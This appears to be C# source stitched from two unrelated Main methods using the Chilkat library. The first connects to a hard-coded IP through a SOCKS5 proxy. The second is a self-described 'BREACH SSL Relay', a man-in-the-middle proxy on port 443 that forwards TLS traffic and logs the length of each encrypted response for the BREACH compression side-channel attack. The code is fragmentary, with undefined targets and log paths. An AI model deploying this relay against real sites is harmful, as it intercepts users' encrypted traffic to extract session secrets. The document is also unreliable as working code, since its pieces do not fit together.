static void Main(string[] args)
{
Chilkat.Global glob = new Chilkat.Global();
bool success = glob.UnlockBundle("Anything for 30-day trial");
if (success != true)
{
Debug.WriteLine(glob.LastErrorText);
return;
}
int status = glob.UnlockStatus;
if (status == 2)
{
Debug.WriteLine("Unlocked using purchased unlock code.");
}
else
{
Debug.WriteLine("Unlocked in trial mode.");
}
// The LastErrorText can be examined in the success case to see if it was unlocked in
// trial more, or with a purchased unlock code.
Debug.WriteLine(glob.LastErrorText);
var certPath = $@"{AppDomain.CurrentDomain.BaseDirectory}server_20110101.pfx";
var server = "83.220.246.39";
var port = 9000;
var maxWaitMillisec = 10000;
//var certPass = "******";
using (var socket = new Chilkat.Socket
{
SocksHostname = server,
SocksPort = port,
SocksUsername = "******",
SocksPassword = "******",
SocksVersion = 5,
MaxReadIdleMs = maxWaitMillisec,
MaxSendIdleMs = maxWaitMillisec
})
{
var cert = new Chilkat.Cert();
cert.LoadFromFile(certPath);
socket.SetSslClientCert(cert);
socket.Connect(server, port, true, maxWaitMillisec);
var receivedString = socket.ReceiveString();
Console.WriteLine(receivedString ?? "none");
}
}
static void Main(string[] args)
{
int responseBytesTotal = 0;
int sequence = 0, i = 0;
Socket listenSocket = InitializeSocketLibrary();
Socket outboundSocket = InitializeSocketLibrary();
File.Delete(PacketRealTimeLog);
// Bind on port 443
if (listenSocket.BindAndListen(443, 25) != true)
{
Console.WriteLine(listenSocket.LastErrorText + "\r\n");
return;
}
Console.WriteLine("[BREACH SSL Relay ready on 443]\n");
// Keep the proxy up & running
while (true)
{
// Every 1000 closed sockets, force cleanup & garbage collection
if (++i % 1000 == 0)
{
Console.Write("## RESET CLEANUP...");
Thread.Sleep(500);
listenSocket.Close(10000);
outboundSocket.Close(10000);
listenSocket = InitializeSocketLibrary();
outboundSocket = InitializeSocketLibrary();
if (!listenSocket.BindAndListen(443, 25))
{
Console.WriteLine(listenSocket.LastErrorText + "\r\n");
return;
}
GC.WaitForFullGCComplete();
Console.WriteLine(" Done!");
}
Chilkat.Socket connectedSocket = null;
// Listen to incoming client
do
{
try
{
connectedSocket = listenSocket.AcceptNextConnection(6000000);
}
catch (System.AccessViolationException e)
{
connectedSocket = null;
Console.WriteLine("## Error (001): " + e);
Thread.Sleep(500);
}
} while (connectedSocket == null);
// Connect to outbound target
// BLIND SSL Relay (no need to establish a new SSL tunnel)
if (!outboundSocket.Connect(TargetIP, 443, false, 10000))
{
Console.WriteLine(outboundSocket.LastErrorText + "\r\n");
continue;
}
// Set maximum timeouts for reading an writing (in millisec)
connectedSocket.MaxReadIdleMs = 90000;
connectedSocket.MaxSendIdleMs = 90000;
outboundSocket.MaxReadIdleMs = 90000;
outboundSocket.MaxSendIdleMs = 90000;
int received = 0;
bool receivingClient = false;
bool receivingServer = false;
// Main loop for SSL Proxy - Processing and forwarding flows in both
// directions so long the conneciton is kept alive
while (true)
{
if (!connectedSocket.IsConnected)
{
break;
}
byte[] requestBytes = null;
if (!receivingClient)
{
receivingClient = true;
try
{
if (!connectedSocket.AsyncReceiveBytes())
{
Console.WriteLine(connectedSocket.LastErrorText + "\r\n");
Thread.Sleep(100);
break;
}
}
catch (AccessViolationException e)
{
Console.WriteLine("## Error (002): " + e);
Thread.Sleep(100);
break;
}
}
// Request starts here, receive from client
if (receivingClient &&
connectedSocket.AsyncReceiveFinished)
{
receivingClient = false;
requestBytes = connectedSocket.AsyncReceivedBytes;
if (requestBytes != null && requestBytes.Length > 0)
{
Console.WriteLine(" >>> rcv: " + responseBytesTotal);
if (responseBytesTotal != 0 &&
File.Exists(PacketRealTimeLog))
{
// Since we are detecting a new request and HTTP is synchronous, we now know the previous
// response has completed, and we measure the aggregated byte count for all its packets
LogPacketLength(PacketRealTimeLog, "--- " + responseBytesTotal,
FileMode.Append, FileAccess.Write, FileShare.Read);
Console.WriteLine("\n----------------\n");
}
// Relay bytes to target server
if (!outboundSocket.SendBytes(requestBytes))
{
Console.WriteLine(connectedSocket.LastErrorText + "\r\n");
Thread.Sleep(100);
break;
}
}
}
// Response starts here
byte[] responseBytes = null;
if (!receivingServer)
{
receivingServer = true;
try
{
if (!outboundSocket.AsyncReceiveBytes())
{
Console.WriteLine("## Error (004) " + outboundSocket.LastErrorText + "\r\n");
Thread.Sleep(100);
continue;
}
}
catch (System.AccessViolationException e)
{
Console.WriteLine("## Error (003): " + e);
Thread.Sleep(100);
break;
}
}
// Write to log file
if (receivingServer &&
outboundSocket.AsyncReceiveFinished)
{
receivingServer = false;
responseBytes = outboundSocket.AsyncReceivedBytes;
if (responseBytes != null && responseBytes.Length > 0)
{
received += responseBytes.Length;
Console.WriteLine("<<" + responseBytes.Length);
sequence++;
// Real time packet log (logging each individual packet length for BREACH)
LogPacketLength(PacketRealTimeLog, sequence + " " + responseBytes.Length,
FileMode.Append, FileAccess.Write, FileShare.Read);
Console.Title = "received: " + received;
responseBytesTotal += responseBytes.Length;
// Relay to client
if (!connectedSocket.SendBytes(responseBytes))
{
Console.WriteLine("## Error (005) " + connectedSocket.LastErrorText + "\r\n");
Thread.Sleep(100);
break;
}
}
else if (connectedSocket.IsConnected &&
!outboundSocket.IsConnected)
{
// We lost one socket, kill it with fire
connectedSocket.Close(10000);
break;
}
}
}
// Log for non-Keep-Alive cases (Connection Closed)
LogPacketLength(PacketLengthLog, received.ToString(),
FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None);
// Close the connection with the client.
outboundSocket.Close(10000);
connectedSocket.Close(10000);
Console.WriteLine("Socket Closed < " + received);
}
}